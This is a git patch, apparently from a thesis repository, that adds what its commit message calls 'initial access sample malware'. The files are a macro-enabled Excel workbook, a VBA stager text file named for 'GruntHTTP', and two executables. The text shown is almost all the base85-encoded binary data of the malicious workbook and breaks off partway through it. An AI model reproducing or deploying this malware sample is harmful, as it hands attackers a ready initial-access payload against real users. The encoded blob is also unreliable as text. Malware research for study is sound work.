From 8c51f1851c43d29d673cd9a6cbe603918bbc99ef Mon Sep 17 00:00:00 2001 From: Marius Ciepluch <11855163+norandom@users.noreply.github.com> Date: Mon, 17 Jun 2024 13:01:25 +0200 Subject: [PATCH] Initial access sample malware for thesis --- .../Book1_Foundations.xlsm | Bin 0 -> 41026 bytes .../GruntHTTP-vba-stager.txt | 451 ++++++++++++++++++ 2-4-initial-access-malware/GruntHTTP.exe | Bin 0 -> 11776 bytes 2-4-initial-access-malware/file.exe | Bin 0 -> 11776 bytes 4 files changed, 451 insertions(+) create mode 100644 2-4-initial-access-malware/Book1_Foundations.xlsm create mode 100644 2-4-initial-access-malware/GruntHTTP-vba-stager.txt create mode 100644 2-4-initial-access-malware/GruntHTTP.exe create mode 100644 2-4-initial-access-malware/file.exe diff --git a/2-4-initial-access-malware/Book1_Foundations.xlsm b/2-4-initial-access-malware/Book1_Foundations.xlsm new file mode 100644 index 0000000000000000000000000000000000000000..4a695ee7952816e59e745d2931b168fbb2fd45f7 GIT binary patch literal 41026 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 